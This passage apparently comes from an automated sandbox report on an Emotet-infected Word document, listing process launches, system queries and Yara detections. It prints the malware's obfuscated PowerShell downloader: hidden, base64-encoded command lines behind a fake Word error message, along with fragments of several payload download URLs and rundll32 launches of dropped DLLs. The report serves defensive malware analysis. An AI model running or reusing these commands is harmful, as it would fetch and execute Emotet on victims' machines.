[Char]92)+$Rgb0fqp+('.'+('d'+'ll'));$D34S=('V5'+'9T');$Lz7468s=((']a'+'n')+('w[3'+':')+'//'+('hang'+'a')+('rla'+'s')+('tik.'+'c')+('o'+'m/'+'cgi')+('-bi'+'n/'+'Ui4')+('n'+'/@')+']a'+('nw[3'+':'+'//')+('p'+'adr'+'eesc'+'ap'+'es'+'.com/b'+'l')+('og/0'+'I/@')+(']'+'an')+'w['+('3:'+'//s')+'a'+'r'+'t'+'ur'+'e.'+('c'+'om/wp')+('-inc'+'l'+'u')+('des'+'/JD8'+'/@]')+('an'+'w')+('[3:'+'/')+'/s'+'e'+('o'+'.ud')+('aip'+'urkar'+'t.c')+'o'+('m/rx-'+'5'+'700')+'-6'+('hnr7/S'+'gms'+'/@')+(']anw'+'[3'+':/')+'/p'+'hu'+('on'+'g')+'ap'+('p'+'le')+('.c'+'om/'+'mess')+'e'+'ng'+('e'+'r-')+'so'+('un'+'d')+'-8'+'kw'+'kq'+'/Y'+('Fr7/@'+']anw'+'[')+('3s://'+'b')+('r'+'et')+'ts'+'ha'+('wmagic'+'.com'+'/co')+('nte'+'nt')+('/Y/'+'@]an')+('w'+'[3s://c'+'a'+'fecen'+'tral.vi')+(' Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkAbgBjACcAKwAnAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwBKAEQAO Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Lqpw_5i\F4w0osc\R95F.dll Control_RunDLL Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Lqpw_5i\F4w0osc\R95F.dll Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pqryhcbuipyk\timgojzfiiv.pkf',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Smbjrydierlk\vhfvfjykmpc.gpr',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zighjhitzytphbn\uglqlahctjehdp.dot',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Kviedw\vklxa.red',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Jwivvemqsvj\ytoymdqmxu.lfx',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xjfxyzhrduzjhpv\whfytnwxpdgksj.gxy',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yvmidjdy\junkzqh.mrj',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Keqofngu\zdyvzfg.cjv',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ngtbqtsge\bgcbpmtq.wzo',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Loyvqvaohpqmmxv\wleeyowrrvrssq.giw',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rqvte\amll.nuu',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gpjmjgasqrjuply\qjwbjnwqtblulz.cqq',Control_RunDLL
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkA
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkAbgBjACcAKwAnAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwBKAEQAO
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkAbgBjACcAKwAnAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwBKAEQAO Jump to behavior

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004C5A cpuid 7_2_10004C5A
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10007D46 GetSystemTimeAsFileTime,GetCurrentThreadId,GetTickCount64,QueryPerformanceCounter, 7_2_10007D46
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected Emotet
Source: Yara match File source: 0000000D.00000002.2103170019.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2341899738.00000000006F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2110963948.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2099512002.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2106608092.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2097844811.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2110599101.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2105544671.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2096635547.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2341761700.00000000002B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2101952282.00000000002C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2105601376.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2103080686.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2110533046.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2096612439.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2110998210.0000000000211000.00000020.00000001.sdmp, type: MEMORY
